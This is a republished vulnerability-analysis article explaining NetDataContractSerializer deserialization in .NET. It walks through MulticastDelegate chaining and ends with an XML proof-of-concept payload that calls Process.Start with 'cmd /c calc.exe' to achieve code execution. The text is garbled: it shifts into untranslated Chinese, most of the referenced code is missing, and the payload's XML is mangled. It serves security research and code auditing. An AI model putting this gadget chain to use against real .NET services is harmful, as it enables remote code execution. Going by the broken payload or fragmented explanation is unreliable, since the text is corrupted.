Home > Article > Operation and Maintenance > How to perform NetDataContractSerializer deserialization vulnerability analysis
NetDataContractSerializer and DataContractSerializer are used to serialize and deserialize data sent in Windows Communication Foundation (WCF) messages. There is an important difference between the two: NetDataContractSerializer includes the CLR and supports type precision by adding extra information and saving references to CLR types, while DataContractSerializer does not. Therefore, NetDataContractSerializer can only be used if the same CLR type is used on the serialization and deserialization sides. To serialize an object use the WriteObject or Serialize method, and to deserialize an XML stream use the ReadObject or Deserialize method. In some scenarios, reading a malicious XML stream will cause a deserialization vulnerability, thereby achieving a remote RCE attack. The author of this article has introduced and reproduced it from the perspective of principles and code auditing.
Using WriteObject or Serialize can very conveniently realize the conversion between .NET objects and XML data. Note that NetDataContractSerializer includes The name of the assembly and the type of the type being serialized. This extra information can be used to deserialize XML into special types, allowing the same type to be used on both the client and the server. Additional information is that the z:Id attribute has different meanings on different elements. This is used to handle reference types and whether the reference can be preserved when the XML is deserialized. The final conclusion is that this output contains more information than the output of DataContractSerializer. The following is an example to illustrate the problem. First, define the TestClass object
The TestClass object defines three members and implements a static method ClassMethod to start the process. Serialization assigns values to members by creating object instances respectively
The author uses Serialize to obtain the xml data after serializing the TestClass class
<testclass><age>18</age><classname>360</classname><name>Ivan1ee</name></testclass>
The deserialization process of NetDataContractSerializer class is to convert the XML stream into an object and call multiple overloaded methods of ReadObject or Serialize by creating a new object. Method implementation, check the definition and learn that it inherits from the XmlObjectSerializer abstract class and IFormatter interface.
NetDataContractSerializer class implements the WriteObject and ReadObject methods in the XmlObjectSerializer abstract class, and also implements IFormatter method defined in. The specific implementation code of the author calling the Deserialize method by creating a new object can be referred to the following
In fact, the ReadObject method is also called in the Deserialize method for deserialization
During the deserialization process, the ReadObject method is used to call the ReadObjectHandleExceptions method, omitting some non-core code, entering the InternalReadObject method body and deserializing to obtain the properties of the object, and printing the value of the member Name. .
Multicast delegate (MulticastDelegate) inherits from Delegate, and its call list can have delegates with multiple elements. In fact, All delegate types above are derived from MulticastDelegate. The _invocationList field of the MulticastDelegate class will reference the delegation array when constructing the delegation chain, but in order to gain more control over the delegation chain, you have to use the GetInvocationList method, which has a linked delegation list and calls the delegation instance. When the time comes, synchronous calls will be made in the order of the delegates in the list, so how to add calc.exe to the GetInvocationList list method? First look at the Comparison
The Comparison class returns the delegate, and then uses the Delegate or MulticastDelegate class The public static method Combine adds the delegate to the chain as a type comparator for Comparison
使用Comparer
多路广播委托的调用列表GetInvocationList方法在内部构造并初始化一个数组,让它的每个元素都引用链中的一个委托,然后返回对该数组的引用,下面代码修改了私有字段_InvocationList并用泛型委托Func返回Process类。
最后传入攻击载荷后得到完整序列化后的poc,如下
从代码审计的角度只需找到可控的Path路径就可以被反序列化,例如以下场景:
上面两种方式都是很常见的,需要重点关注。
1. 代码中实现读取本地文件内容
2. 传递poc xml,弹出计算器网页返回200
1. <arrayofstring><count>2</count> ><comparer><_comparison><delegate><assembly>mscorlib, Version=4.0.0.0,Culture=neutral, PublicKeyToken=b77a5c561934e089</assembly> ><delegateentry><assemblyz:ref></assemblyz:ref><methodname>Compare</methodname> ><target></target><targettypename>System.String a:targetTypeName >System.Comparison`1[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]] a:type > a:delegateEntry >Start a:methodName >System, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089 >System.Diagnostics.Process a:targetTypeName >System.Func`3[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0,Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process,System, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]] a:type > Delegate >System.Diagnostics.Process Start(System.String,System.String) Signature >System.Diagnostics.ProcessStart(System.String, System.String) Signature2 >8 MemberType ><genericarguments></genericarguments> method0 >Int32 Compare(System.String, System.String) Signature >System.Int32 Compare(System.String,System.String) >8 MemberType > method1 > _comparison > Comparer >2 Version >/c calc.exe string >cmd string > Items > ArrayOfstring ></targettypename></delegateentry></delegate></_comparison></comparer></arrayofstring>
最后附上动态效果图
The above is the detailed content of How to perform NetDataContractSerializer deserialization vulnerability analysis. For more information, please follow other related articles on the PHP Chinese website!